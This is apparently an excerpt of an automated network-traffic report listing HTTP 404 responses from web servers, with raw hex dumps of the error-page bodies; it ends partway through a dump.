Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:19 GMTServer: ApacheContent-Length: 815Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 4f 6f 70 73 2c 20 54 68 65 20 50 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 6e 27 74 20 62 65 20 66 6f 75 6e 64 21 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 72 72 6f 77 22 3e 3c 2f 73 70 61 6e 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Poppins:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidateUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1168Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 6f db 36 14 7d 8e 7f 05 ab 61 7d 18 46 d1 c9 d2 61 70 64 17 5d 37 ac 03 d6 ad 58 06 14 7b 2a 28 f1 5a 62 43 f1 72 24 65 d9 1d fa df 77 a9 0f c7 49 da a1 eb 84 04 92 ef e7 b9 e7 9c e2 d1 0f bf 3d ff e3 cf 57 3f b2 26 b6 66 b3 28 d2 8b 19 69 eb 75 e6 22 ff fe f7 6c b3 38 2b 1a 90 8a de 67 45 0b 51 32 2b 5b 58 67 3b 0d bd 43 1f 33 56 a1 8d 60 e3 3a eb b5 8a cd 5a c1 4e 57 c0 87 1f d9 fd 2e 8f 25 c6 70 d2 63 51 5b 05 fb af 99 c5 2d 1a 83 7d c6 c4 d0 14 75 34 b0 79 09 1d 0b 3a 02 7b dc 2a 19 9a 2b f6 1c 5b 6d 6b 76 8d 68 0b 31 d6 a4 ea 50 79 ed 22 0b be 5a 67 4d 8c 6e 25 04 84 e8 c1 48 5e e6 68 8d b6 20 7a c7 b5 ad 4c a7 20 88 b7 f4 f7 57 07 fe 30 bd f2 b7 21 db 14 62 1c 33 4e 8c 07 03 2c 1e 1c a1 8e b0 8f a2 0a 54 f2 15 fb 7b c1 e8 29 71 cf 83 7e 47 50 56 f4 ed 15 78 4e a1 ab 21 c7 5b 7c c7 ff b5 a0 87 f2 46 c7 8f d6 bc 5f 2c 4a 54 87 79 95 ac 6e 6a 8f 9d 55 bc 42 83 7e c5 fa 86 18 19 47 4d 91 d2 50 d1 18 c1 1d f8 2d f1 c8 f7 2b d6 68 a5 c0 8e f1 56 fa 5a db 15 5b 0e f3 bf e8 bd 74 d3 02 69 74 6d 39 8d 6c c3 8a 55 a4 0a f8 b1 45 e9 e0 8c 3c ac d8 d6 c0 04 fd 6d 17 a2 de 1e f8 a4 df dd 7a 52 86 37 a0 eb 86 e2 e7 cb e5 ae 19 56 e5 53 ed b4 2d cd a2 f4 5d 50 b2 8b c8 9e 7c 39 06 9d 54 6a e0 64 39 fe 4e ec f3 01 e4 bd 75 72 3f ba 6c c5 2e 2f 96 6e 24 6e 8b 48 05 d3 ae 29 4b 58 e6 d1 48 66 d2 48 83 b6 7a 0f ea 6a d2 32 46 6c 8f eb 0c 6c e3 4c d3 34 6d 66 ea 43 48 d2 85 65 b4 0f c4 ba 23 ca 89 86 ba 95 35 ac c8 ee 16 e6 f5 49 79 42 e9 f6 2c a0 d1 ea 4e 63 b2 48 23 15 f6 a7 2d 1f f0 41 e7 43 0a 39 d4 1f d0 4f 5b a3 2d f0 d2 e0 3c 77 4b 9a 24 ef 11 92 f3 4b b7 3f 09 f6 93 80 97 cb 99 8f d4 7a 94 35 7f 72 aa 1c 8f e8 12 bf f3 84 a3 74 df d2 31 df 1c c3 1f 53 70 88 2b a8 d0 cb 51 95 db 13 23 76 55 c3 65 35 c6 5b 69 b5 eb cc 50 35 e5 bd b4 b3 96 d2 18 b6 cc 2f 02 03 19 a6 f6 2e 80 e7 01 0c 54 f1 74 ea 0e 7c d4 95 34 33 98 56 2b 65 a6 dc c0 26 0f 4e 56 83 3c bd 97 6e 54 37 44 19 bb c0 5b 08 81 a4 9b 84 3e 72 3b 0e 7f 5f 88 10 0f 06 36 8b b3 f4 14 44 da 0d f3 60 d6 d9 10 0e 0d 40 cc 58 e3 61 bb ce 9a 18 dd 4a 08 08 91 0a 24 2f 73 1c e4 11 bd e3 15 29 40 fc 08 67 3a 62 37 a4 d0 f8 c9 1b 0c b1 96 11 bd 90 21 40 0c e3 ba 20 2a 6c 89 70 1e 10 6d 5e 85 f0 74 b7 be c8 cf cf f3 ef 32 26 06 2c 85 68 40 2a fa 2c 4a 54 87 14 2a 94 de 31 ad d6 59 ba 30 1b 8b 5a a9 2d ab 0c 8d 5e 67 13 86 6c 3a e5 6c ea 98 b2 a1 2b 43 e5 b5 4b cc bf e9 b5 aa e1 58 59 34 e7 9b 67 ec 57 e8 d9 6b b2 f4 2b 4f 7c b1 6b e2 94 20 9c 1f 4b 2e 36 cf 07 c4 ec 9a 10 3f a2 d4 c5 94 62 d3 Data Ascii: R]o6}a}Fapd]7X{*(ZbCr$ewI
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidateUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1168Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 6f db 36 14 7d 8e 7f 05 ab 61 7d 18 46 d1 c9 d2 61 70 64 17 5d 37 ac 03 d6 ad 58 06 14 7b 2a 28 f1 5a 62 43 f1 72 24 65 d9 1d fa df 77 a9 0f c7 49 da a1 eb 84 04 92 ef e7 b9 e7 9c e2 d1 0f bf 3d ff e3 cf 57 3f b2 26 b6 66 b3 28 d2 8b 19 69 eb 75 e6 22 ff fe f7 6c b3 38 2b 1a 90 8a de 67 45 0b 51 32 2b 5b 58 67 3b 0d bd 43 1f 33 56 a1 8d 60 e3 3a eb b5 8a cd 5a c1 4e 57 c0 87 1f d9 fd 2e 8f 25 c6 70 d2 63 51 5b 05 fb af 99 c5 2d 1a 83 7d c6 c4 d0 14 75 34 b0 79 09 1d 0b 3a 02 7b dc 2a 19 9a 2b f6 1c 5b 6d 6b 76 8d 68 0b 31 d6 a4 ea 50 79 ed 22 0b be 5a 67 4d 8c 6e 25 04 84 e8 c1 48 5e e6 68 8d b6 20 7a c7 b5 ad 4c a7 20 88 b7 f4 f7 57 07 fe 30 bd f2 b7 21 db 14 62 1c 33 4e 8c 07 03 2c 1e 1c a1 8e b0 8f a2 0a 54 f2 15 fb 7b c1 e8 29 71 cf 83 7e 47 50 56 f4 ed 15 78 4e a1 ab 21 c7 5b 7c c7 ff b5 a0 87 f2 46 c7 8f d6 bc 5f 2c 4a 54 87 79 95 ac 6e 6a 8f 9d 55 bc 42 83 7e c5 fa 86 18 19 47 4d 91 d2 50 d1 18 c1 1d f8 2d f1 c8 f7 2b d6 68 a5 c0 8e f1 56 fa 5a db 15 5b 0e f3 bf e8 bd 74 d3 02 69 74 6d 39 8d 6c c3 8a 55 a4 0a f8 b1 45 e9 e0 8c 3c ac d8 d6 c0 04 fd 6d 17 a2 de 1e f8 a4 df dd 7a 52 86 37 a0 eb 86 e2 e7 cb e5 ae 19 56 e5 53 ed b4 2d cd a2 f4 5d 50 b2 8b c8 9e 7c 39 06 9d 54 6a e0 64 39 fe 4e ec f3 01 e4 bd 75 72 3f ba 6c c5 2e 2f 96 6e 24 6e 8b 48 05 d3 ae 29 4b 58 e6 d1 48 66 d2 48 83 b6 7a 0f ea 6a d2 32 46 6c 8f eb 0c 6c e3 4c d3 34 6d 66 ea 43 48 d2 85 65 b4 0f c4 ba 23 ca 89 86 ba 95 35 ac c8 ee 16 e6 f5 49 79 42 e9 f6 2c a0 d1 ea 4e 63 b2 48 23 15 f6 a7 2d 1f f0 41 e7 43 0a 39 d4 1f d0 4f 5b a3 2d f0 d2 e0 3c 77 4b 9a 24 ef 11 92 f3 4b b7 3f 09 f6 93 80 97 cb 99 8f d4 7a 94 35 7f 72 aa 1c 8f e8 12 bf f3 84 a3 74 df d2 31 df 1c c3 1f 53 70 88 2b a8 d0 cb 51 95 db 13 23 76 55 c3 65 35 c6 5b 69 b5 eb cc 50 35 e5 bd b4 b3 96 d2 18 b6 cc 2f 02 03 19 a6 f6 2e 80 e7 01 0c 54 f1 74 ea 0e 7c d4 95 34 33 98 56 2b 65 a6 dc c0 26 0f 4e 56 83 3c bd 97 6e 54 37 44 19 bb c0 5b 08 81 a4 9b 84 3e 72 3b 0e 7f 5f 88 10 0f 06 36 8b b3 f4 14 44 da 0d f3 60 d6 d9 10 0e 0d 40 cc 58 e3 61 bb ce 9a 18 dd 4a 08 08 91 0a 24 2f 73 1c e4 11 bd e3 15 29 40 fc 08 67 3a 62 37 a4 d0 f8 c9 1b 0c b1 96 11 bd 90 21 40 0c e3 ba 20 2a 6c 89 70 1e 10 6d 5e 85 f0 74 b7 be c8 cf cf f3 ef 32 26 06 2c 85 68 40 2a fa 2c 4a 54 87 14 2a 94 de 31 ad d6 59 ba 30 1b 8b 5a a9 2d ab 0c 8d 5e 67 13 86 6c 3a e5 6c ea 98 b2 a1 2b 43 e5 b5 4b cc bf e9 b5 aa e1 58 59 34 e7 9b 67 ec 57 e8 d9 6b b2 f4 2b 4f 7c b1 6b e2 94 20 9c 1f 4b 2e 36 cf 07 c4 ec 9a 10 3f a2 d4 c5 94 62 d3 Data Ascii: R]o6}a}Fapd]7X{*(ZbCr$ewI
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidateUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipX-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1168Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 6f db 36 14 7d 8e 7f 05 ab 61 7d 18 46 d1 c9 d2 61 70 64 17 5d 37 ac 03 d6 ad 58 06 14 7b 2a 28 f1 5a 62 43 f1 72 24 65 d9 1d fa df 77 a9 0f c7 49 da a1 eb 84 04 92 ef e7 b9 e7 9c e2 d1 0f bf 3d ff e3 cf 57 3f b2 26 b6 66 b3 28 d2 8b 19 69 eb 75 e6 22 ff fe f7 6c b3 38 2b 1a 90 8a de 67 45 0b 51 32 2b 5b 58 67 3b 0d bd 43 1f 33 56 a1 8d 60 e3 3a eb b5 8a cd 5a c1 4e 57 c0 87 1f d9 fd 2e 8f 25 c6 70 d2 63 51 5b 05 fb af 99 c5 2d 1a 83 7d c6 c4 d0 14 75 34 b0 79 09 1d 0b 3a 02 7b dc 2a 19 9a 2b f6 1c 5b 6d 6b 76 8d 68 0b 31 d6 a4 ea 50 79 ed 22 0b be 5a 67 4d 8c 6e 25 04 84 e8 c1 48 5e e6 68 8d b6 20 7a c7 b5 ad 4c a7 20 88 b7 f4 f7 57 07 fe 30 bd f2 b7 21 db 14 62 1c 33 4e 8c 07 03 2c 1e 1c a1 8e b0 8f a2 0a 54 f2 15 fb 7b c1 e8 29 71 cf 83 7e 47 50 56 f4 ed 15 78 4e a1 ab 21 c7 5b 7c c7 ff b5 a0 87 f2 46 c7 8f d6 bc 5f 2c 4a 54 87 79 95 ac 6e 6a 8f 9d 55 bc 42 83 7e c5 fa 86 18 19 47 4d 91 d2 50 d1 18 c1 1d f8 2d f1 c8 f7 2b d6 68 a5 c0 8e f1 56 fa 5a db 15 5b 0e f3 bf e8 bd 74 d3 02 69 74 6d 39 8d 6c c3 8a 55 a4 0a f8 b1 45 e9 e0 8c 3c ac d8 d6 c0 04 fd 6d 17 a2 de 1e f8 a4 df dd 7a 52 86 37 a0 eb 86 e2 e7 cb e5 ae 19 56 e5 53 ed b4 2d cd a2 f4 5d 50 b2 8b c8 9e 7c 39 06 9d 54 6a e0 64 39 fe 4e ec f3 01 e4 bd 75 72 3f ba 6c c5 2e 2f 96 6e 24 6e 8b 48 05 d3 ae 29 4b 58 e6 d1 48 66 d2 48 83 b6 7a 0f ea 6a d2 32 46 6c 8f eb 0c 6c e3 4c d3 34 6d 66 ea 43 48 d2 85 65 b4 0f c4 ba 23 ca 89 86 ba 95 35 ac c8 ee 16 e6 f5 49 79 42 e9 f6 2c a0 d1 ea 4e 63 b2 48 23 15 f6 a7 2d 1f f0 41 e7 43 0a 39 d4 1f d0 4f 5b a3 2d f0 d2 e0 3c 77 4b 9a 24 ef 11 92 f3 4b b7 3f 09 f6 93 80 97 cb 99 8f d4 7a 94 35 7f 72 aa 1c 8f e8 12 bf f3 84 a3 74 df d2 31 df 1c c3 1f 53 70 88 2b a8 d0 cb 51 95 db 13 23 76 55 c3 65 35 c6 5b 69 b5 eb cc 50 35 e5 bd b4 b3 96 d2 18 b6 cc 2f 02 03 19 a6 f6 2e 80 e7 01 0c 54 f1 74 ea 0e 7c d4 95 34 33 98 56 2b 65 a6 dc c0 26 0f 4e 56 83 3c bd 97 6e 54 37 44 19 bb c0 5b 08 81 a4 9b 84 3e 72 3b 0e 7f 5f 88 10 0f 06 36 8b b3 f4 14 44 da 0d f3 60 d6 d9 10 0e 0d 40 cc 58 e3 61 bb ce 9a 18 dd 4a 08 08 91 0a 24 2f 73 1c e4 11 bd e3 15 29 40 fc 08 67 3a 62 37 a4 d0 f8 c9 1b 0c b1 96 11 bd 90 21 40 0c e3 ba 20 2a 6c 89 70 1e 10 6d 5e 85 f0 74 b7 be c8 cf cf f3 ef 32 26 06 2c 85 68 40 2a fa 2c 4a 54 87 14 2a 94 de 31 ad d6 59 ba 30 1b 8b 5a a9 2d ab 0c 8d 5e 67 13 86 6c 3a e5 6c ea 98 b2 a1 2b 43 e5 b5 4b cc bf e9 b5 aa e1 58 59 34 e7 9b 67 ec 57 e8 d9 6b b2 f4 2b 4f 7c b1 6b e2 94 20 9c 1f 4b 2e 36 cf 07 c4 ec 9a 10 3f a2 d4 c5 94 62 d3 Data Ascii: R]o6}a}Fapd]7X{*(ZbCr$ewI
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://meanttobebroken.org/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8d7a530c0bb2ea02-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 31 36 65 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d4 3c db 72 db 38 96 cf f6 57 c0 4c 8d 2d 4e 78 d7 c5 b6 24 3a dd 49 a7 a7 b2 db e9 f4 76 9c 9a da 8a 53 2e 88 84 28 d8 24 c1 06 20 cb 1a b5 5e f6 2f f6 69 7f 71 3f 61 eb 00 94 44 c9 94 ac d8 9e dd da 54 b7 6d 02 e7 8e 73 0e 6e 3c ec 1f c5 2c 92 d3 82 a0 91 cc d2 8b c3 3e fc 42 29 ce 93 d0 20 b9 fd e5 b3 01 6d 04 c7 17 87 07 fd 8c 48 8c a2 11 e6 82 c8 d0 f8 72 f9 b3 7d 66 2c db 73 9c 91 d0 b8 a3 64 52 30 2e 0d 14 b1 5c 92 5c 86 c6 84 c6 72 14 c6 e4 8e 46 c4 56 0f 16 a2 39 95 14 a7 b6 88 70 4a 42 5f 51 49 69 7e 8b 38 49 43 a3 e0 6c 48 53 62 a0 11 27 c3 d0 18 49 59 88 ae eb 26 59 91 38 8c 27 ee fd 30 77 fd 4d 24 21 a7 29 11 23 42 e4 26 de 58 10 07 54 bc a5 d2 c9 89 74 59 cc 4e 87 f4 c6 89 84 30 2e 0e d7 88 e0 a2 48 89 2d d9 38 1a d9 34 62 b9 81 04 fd 07 11 a1 e1 9f 79 f7 fe 99 57 25 dd 75 dd 8c e0 5c 4a 36 20 03 ce 6e 49 ae 84 9b 14 76 a9 ba 2b 47 24 23 c2 c5 64 90 49 39 70 87 f8 0e 68 ba 9b 4c 9c 22 4f 36 94 d1 bc 41 e8 d0 a0 19 4e 88 0b 30 0b 61 9a c1 7d 33 78 11 51 ca df b6 a2 f8 dd 72 f8 9d 7b bf f3 a2 72 28 8a 35 72 64 38 a7 43 22 e4 8b 30 13 54 12 67 42 06 4b a2 9b bc c4 6d 39 f8 2f c1 0c 0f 31 a7 76 41 f3 9c c4 b6 c4 03 47 dc 25 10 1d 29 e3 a1 f1 aa 3d 18 e0 b8 bd 19 45 99 00 1f a1 11 96 94 e5 f6 25 4d c9 3b 80 af 04 d5 ab e1 30 6a 79 f1 26 a2 12 c2 8e 1e 02 c3 3f e5 ec 07 fd 23 db 46 7f 63 2c 49 09 ba c4 09 fa 88 73 9c 10 8e 6c fb e2 10 21 84 fa 22 e2 b4 90 17 8d e1 38 8f 80 7f 63 62 c5 96 b0 52 8b 9a b3 c9 d7 f4 5b 08 3f fe fc f3 eb b7 1e fc e1 14 63 31 6a cc 4e 12 99 39 42 62 2e 4f ba 8a 4c 4e 26 e8 27 2c 49 c3 74 12 22 2f 69 46 1a a6 45 ee 48 2e bb 0a f6 46 9c cc cd de 1d e6 68 18 c6 00 f2 3e 25 19 c9 a5 78 3b bd c4 c9 af 38 23 0d 61 7e f5 be 59 8a da 4d 18 3b 11 27 58 92 12 ac 21 4c 2b 4e c3 f4 28 3c 89 b1 c4 bf e0 29 e1 27 6f 4e 8e d3 f0 e4 75 da 3d 39 e9 dd 38 58 4c f3 28 94 7c 4c 7a 37 8e e0 51 a8 28 9d 2c b2 c2 64 32 71 12 65 06 89 93 4c 1b c1 89 58 e6 6a e9 de d0 38 3c 79 4d 5f c7 69 6f e8 14 98 93 5c fe ca 62 e2 d0 5c 10 2e df 92 21 e3 a4 71 63 0d cd 9e 22 3b 37 1b 13 9a c7 6c 62 c5 2c 1a 83 84 d6 89 36 e4 89 55 91 d0 3a f9 db e5 47 fb e3 bf fe db e9 d9 df 4f Data Ascii: 16ef<r8WL-Nx$:IvS.($ ^/iq?aDTmsn<,>B) mHr}f,sdR0.\\rFV9pJB_QIi~8IClHSb'IY&Y8'0wM$!)#B&XTtYN0.H-84byW%u\J6 nIv+G
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:30:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://meanttobebroken.org/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8d7a531bfb01e5c2-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 31 36 65 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d4 3c db 72 db 38 96 cf f6 57 c0 4c 8d 2d 4e 78 d7 c5 b6 24 3a dd 49 a7 a7 b2 db e9 f4 76 9c 9a da 8a 53 2e 88 84 28 d8 24 c1 06 20 cb 1a b5 5e f6 2f f6 69 7f 71 3f 61 eb 00 94 44 c9 94 ac d8 9e dd da 54 b7 6d 02 e7 8e 73 0e 6e 3c ec 1f c5 2c 92 d3 82 a0 91 cc d2 8b c3 3e fc 42 29 ce 93 d0 20 b9 fd e5 b3 01 6d 04 c7 17 87 07 fd 8c 48 8c a2 11 e6 82 c8 d0 f8 72 f9 b3 7d 66 2c db 73 9c 91 d0 b8 a3 64 52 30 2e 0d 14 b1 5c 92 5c 86 c6 84 c6 72 14 c6 e4 8e 46 c4 56 0f 16 a2 39 95 14 a7 b6 88 70 4a 42 5f 51 49 69 7e 8b 38 49 43 a3 e0 6c 48 53 62 a0 11 27 c3 d0 18 49 59 88 ae eb 26 59 91 38 8c 27 ee fd 30 77 fd 4d 24 21 a7 29 11 23 42 e4 26 de 58 10 07 54 bc a5 d2 c9 89 74 59 cc 4e 87 f4 c6 89 84 30 2e 0e d7 88 e0 a2 48 89 2d d9 38 1a d9 34 62 b9 81 04 fd 07 11 a1 e1 9f 79 f7 fe 99 57 25 dd 75 dd 8c e0 5c 4a 36 20 03 ce 6e 49 ae 84 9b 14 76 a9 ba 2b 47 24 23 c2 c5 64 90 49 39 70 87 f8 0e 68 ba 9b 4c 9c 22 4f 36 94 d1 bc 41 e8 d0 a0 19 4e 88 0b 30 0b 61 9a c1 7d 33 78 11 51 ca df b6 a2 f8 dd 72 f8 9d 7b bf f3 a2 72 28 8a 35 72 64 38 a7 43 22 e4 8b 30 13 54 12 67 42 06 4b a2 9b bc c4 6d 39 f8 2f c1 0c 0f 31 a7 76 41 f3 9c c4 b6 c4 03 47 dc 25 10 1d 29 e3 a1 f1 aa 3d 18 e0 b8 bd 19 45 99 00 1f a1 11 96 94 e5 f6 25 4d c9 3b 80 af 04 d5 ab e1 30 6a 79 f1 26 a2 12 c2 8e 1e 02 c3 3f e5 ec 07 fd 23 db 46 7f 63 2c 49 09 ba c4 09 fa 88 73 9c 10 8e 6c fb e2 10 21 84 fa 22 e2 b4 90 17 8d e1 38 8f 80 7f 63 62 c5 96 b0 52 8b 9a b3 c9 d7 f4 5b 08 3f fe fc f3 eb b7 1e fc e1 14 63 31 6a cc 4e 12 99 39 42 62 2e 4f ba 8a 4c 4e 26 e8 27 2c 49 c3 74 12 22 2f 69 46 1a a6 45 ee 48 2e bb 0a f6 46 9c cc cd de 1d e6 68 18 c6 00 f2 3e 25 19 c9 a5 78 3b bd c4 c9 af 38 23 0d 61 7e f5 be 59 8a da 4d 18 3b 11 27 58 92 12 ac 21 4c 2b 4e c3 f4 28 3c 89 b1 c4 bf e0 29 e1 27 6f 4e 8e d3 f0 e4 75 da 3d 39 e9 dd 38 58 4c f3 28 94 7c 4c 7a 37 8e e0 51 a8 28 9d 2c b2 c2 64 32 71 12 65 06 89 93 4c 1b c1 89 58 e6 6a e9 de d0 38 3c 79 4d 5f c7 69 6f e8 14 98 93 5c fe ca 62 e2 d0 5c 10 2e df 92 21 e3 a4 71 63 0d cd 9e 22 3b 37 1b 13 9a c7 6c 62 c5 2c 1a 83 84 d6 89 36 e4 89 55 91 d0 3a f9 db e5 47 fb e3 bf fe db e9 d9 df 4f Data Ascii: 16ef<r8WL-Nx$:IvS.($ ^/iq?aDTmsn<,>B) mHr}f,sdR0.\\rFV9pJB_QIi~8IClHSb'IY&Y8'0wM$!)#B&XTtYN0.H-84byW%u\J6 nIv+G
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:31:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://meanttobebroken.org/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8d7a532bdfc4e510-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 31 36 65 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 d4 3c db 72 db 38 96 cf f6 57 c0 4c 8d 2d 4e 78 d7 c5 b6 24 3a dd 49 a7 a7 b2 db e9 f4 76 9c 9a da 8a 53 2e 88 84 28 d8 24 c1 06 20 cb 1a b5 5e f6 2f f6 69 7f 71 3f 61 eb 00 94 44 c9 94 ac d8 9e dd da 54 b7 6d 02 e7 8e 73 0e 6e 3c ec 1f c5 2c 92 d3 82 a0 91 cc d2 8b c3 3e fc 42 29 ce 93 d0 20 b9 fd e5 b3 01 6d 04 c7 17 87 07 fd 8c 48 8c a2 11 e6 82 c8 d0 f8 72 f9 b3 7d 66 2c db 73 9c 91 d0 b8 a3 64 52 30 2e 0d 14 b1 5c 92 5c 86 c6 84 c6 72 14 c6 e4 8e 46 c4 56 0f 16 a2 39 95 14 a7 b6 88 70 4a 42 5f 51 49 69 7e 8b 38 49 43 a3 e0 6c 48 53 62 a0 11 27 c3 d0 18 49 59 88 ae eb 26 59 91 38 8c 27 ee fd 30 77 fd 4d 24 21 a7 29 11 23 42 e4 26 de 58 10 07 54 bc a5 d2 c9 89 74 59 cc 4e 87 f4 c6 89 84 30 2e 0e d7 88 e0 a2 48 89 2d d9 38 1a d9 34 62 b9 81 04 fd 07 11 a1 e1 9f 79 f7 fe 99 57 25 dd 75 dd 8c e0 5c 4a 36 20 03 ce 6e 49 ae 84 9b 14 76 a9 ba 2b 47 24 23 c2 c5 64 90 49 39 70 87 f8 0e 68 ba 9b 4c 9c 22 4f 36 94 d1 bc 41 e8 d0 a0 19 4e 88 0b 30 0b 61 9a c1 7d 33 78 11 51 ca df b6 a2 f8 dd 72 f8 9d 7b bf f3 a2 72 28 8a 35 72 64 38 a7 43 22 e4 8b 30 13 54 12 67 42 06 4b a2 9b bc c4 6d 39 f8 2f c1 0c 0f 31 a7 76 41 f3 9c c4 b6 c4 03 47 dc 25 10 1d 29 e3 a1 f1 aa 3d 18 e0 b8 bd 19 45 99 00 1f a1 11 96 94 e5 f6 25 4d c9 3b 80 af 04 d5 ab e1 30 6a 79 f1 26 a2 12 c2 8e 1e 02 c3 3f e5 ec 07 fd 23 db 46 7f 63 2c 49 09 